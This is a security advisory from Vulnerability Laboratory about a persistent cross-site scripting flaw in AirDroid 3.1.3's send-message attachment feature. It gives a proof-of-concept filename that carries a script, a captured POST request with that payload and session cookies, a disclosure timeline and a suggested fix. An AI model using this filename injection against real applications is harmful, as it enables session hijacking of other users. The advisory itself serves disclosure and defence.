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Document Title: =============== Airdroid iOS, Android & Win 3.1.3 - Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1543 Release Date: ============= 2015-07-20 Vulnerability Laboratory ID (VL-ID): ==================================== 1543 Common Vulnerability Scoring System: ==================================== 3.9 Product & Service Introduction: =============================== AirDroid allows you to access wirelessly and for free on your Android phone or tablet from Windows, Mac or the Internet, and to control it. (Copy of the Product Homepage: https://www.airdroid.com/de/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official SandStudio AirDroid (windows, ios and android) mobile web-application. Vulnerability Disclosure Timeline: ================================== 2015-07-05: Researcher Notification & Coordination (Hadji Samir) 2015-07-06: Vendor Notification (Security Team) 2015-07-20: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Sand Studio Product: AirDroid iOS Application (Andoird, Windows, MacOS & Web) 3.1.3 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A persistent input validation web vulnerability has been discoveredin the official SandStudio AirDroid (windows, ios and android) mobile web-application. The vulnerability allows remote attacker or low privilege user accounts to inject malicious codes to the application-side of the affected mobile web-application. The vulnerability is located in the send messages and the send message with an attached filemodule. Remote attackers with low privilege user account are able to upload file name with malicious strings like <code></code>><script>alert(1).txt. On the arrival inbox occurs the execution of the malicious code that compromises the other target system/device user account. The vulnerability is located on the application-side and the request method to inject is POST. The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.9. Exploitation of the application-side web vulnerability requires a low privilege web-application user account and low user interaction. Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent external redirect to malicious sources and application-side manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Module(s): [+] Send Message Vulnerable Parameter(s): [+] filename Affected Module(s): [+] Message Inbox Proof of Concept (PoC): ======================= The vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction (click). For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: <span class="name">"><"><script>alert(document.cookie).txt< span="">[PERSISTENT INJECTED SCRIPT CODE] <span class="progress-rate">100%</span> <a class="attach-del-icon"></a> </scrip...txt<></span> --- PoC Session Logs [POST] --- 11:13:00.993[0ms][total 0ms] Status: pending[] POST https://upload.airdroid.com/sms/attachment/?fn=%22%3E%3Cscript%3Ealert(document.cookie).txt&d=&after=0&rtype=0&origin=http%3A%2F%2Fweb.airdroid.com&country=DZ&fname=%22%3E%3Cscript%3Ealert(document.cookie).txt Load Flags[LOAD_BYPASS_CACHE] Content Size[unknown] Mime Type[unknown] Request Headers: Host[upload.airdroid.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:39.0) Gecko/20100101 Firefox/39.0] Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] Content-Type[application/octet-stream] Referer[http://web.airdroid.com/] Content-Length[5281] Origin[http://web.airdroid.com] Cookie[_SESSION=0b484eb230f27c004a7e990bace6175a416b58ed-%00_TS%3A1438769709%00; _ga=GA1.2.1046706455.1436177514; _gat=1; account_sid=c51d21b583ce76c04c8d4fa5a5c7496e; account_info=aW5mby5kaW1hbmV0QGdtYWlsLmNvbQ%3D%3D%2C63b971b729a756a3c1eb0fec6cccb736%2C9731220%2C59fd7af875fa5434a86e5397c79380d2] Post Data: POST_DATA[-PNG Note: We demonstrated the poc by usage of the web-app but the local app is also vulnerable to the same issue! Solution - Fix & Patch: ======================= The vulnerbaility can be patched by a secure parse and encode of the vulnerable filename value in the send message module with the attach file function. Security Risk: ============== The security risk of the application-side input validation web vulnerability in the airdroid app is estimated as medium. (CVSS 3.9) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. 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